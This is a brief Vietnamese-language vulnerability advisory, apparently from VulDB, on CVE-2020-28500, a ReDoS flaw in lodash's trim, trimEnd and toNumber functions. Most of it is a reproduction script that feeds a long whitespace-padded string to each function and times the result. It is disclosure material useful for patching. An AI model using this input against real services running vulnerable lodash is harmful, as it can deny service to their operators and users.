CVE-2020-28500 in lodash
Tóm tắt
Bởi VulDB • 03/07/2026
Tất cả các phiên bản của gói lodash và tất cả các phiên bản của gói org.fujion.webjars:lodash đều dễ bị tấn công từ chối dịch vụ do biểu thức chính quy (ReDoS) thông qua các hàm toNumber, trim và trimEnd. Các bước để tái hiện lỗi (do người báo cáo Liyuan Chen cung cấp): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)
Once again VulDB remains the best source for vulnerability data.